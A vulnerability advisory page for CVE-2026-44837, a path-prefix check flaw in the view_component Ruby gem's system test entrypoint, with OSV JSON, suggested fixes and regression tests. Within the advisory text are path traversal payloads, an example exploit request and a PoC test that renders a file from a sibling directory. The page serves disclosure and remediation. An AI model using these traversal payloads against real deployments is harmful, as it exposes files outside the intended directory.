CVE-2026-44837: view_component System Test Entry Point Path Vulnerability
MODERATECVE-2026-44837 is a MODERATE (CVSS 5.9) system test entry point path vulnerability (CWE-187: Partial String Comparison) affecting view_component libraries in the RubyGems ecosystem. The issue involves system test entry point path check allows sibling directory escape. Remediation is available by upgrading affected packages to version 4.9.0.
CVE-2026-44837 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-44837
To remediate this vulnerability, upgrade all affected view_component dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade view_component to 4.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for view_component
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44837, inspect your project dependencies for view_component:
inspect dependencies for view_component
Analyze the terminal output to locate any version of view_component in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-187: Partial String Comparison, where the product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. In view_component, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44837 Affected view_component Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
view_component
|
RubyGems |
≥ 3.0.0
< 4.9.0
|
4.9.0
|
References
Frequently Asked Questions
What is CVE-2026-44837?
Which view_component versions are affected?
What version fixes CVE-2026-44837?
Is view_component affected?
What is the CVSS score of CVE-2026-44837?
What CWE is associated with CVE-2026-44837?
How can I check RubyGems dependencies for CVE-2026-44837?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hg3h-g7xc-f7vp",
"modified" : "2026-06-08T23:34:32Z",
"published" : "2026-05-08T23:33:58Z",
"aliases" : [ "CVE-2026-44837" ],
"summary" : "view_component: System Test Entry Point Path Check Allows Sibling Directory Escape",
"details" : "### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base: /app/tmp/view_components\nOutside path: /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest\n def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n parent_dir = File.dirname(base_dir)\n sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n FileUtils.mkdir_p(sibling_dir)\n File.write(outside_file, \"<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>\")\n\n get \"/_system_test_entrypoint\", params: {\n file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n }\n\n assert_response :success\n assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n ensure\n FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file\n Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)\n end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n relative_path = path.relative_path_from(base_path)\n\n raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "view_component"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "4.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44837"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ViewComponent/view_component"
}, {
"type" : "WEB",
"url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44837.yml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-187", "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-08T23:33:58Z",
"nvd_published_at" : "2026-05-26T21:16:38Z"
}
}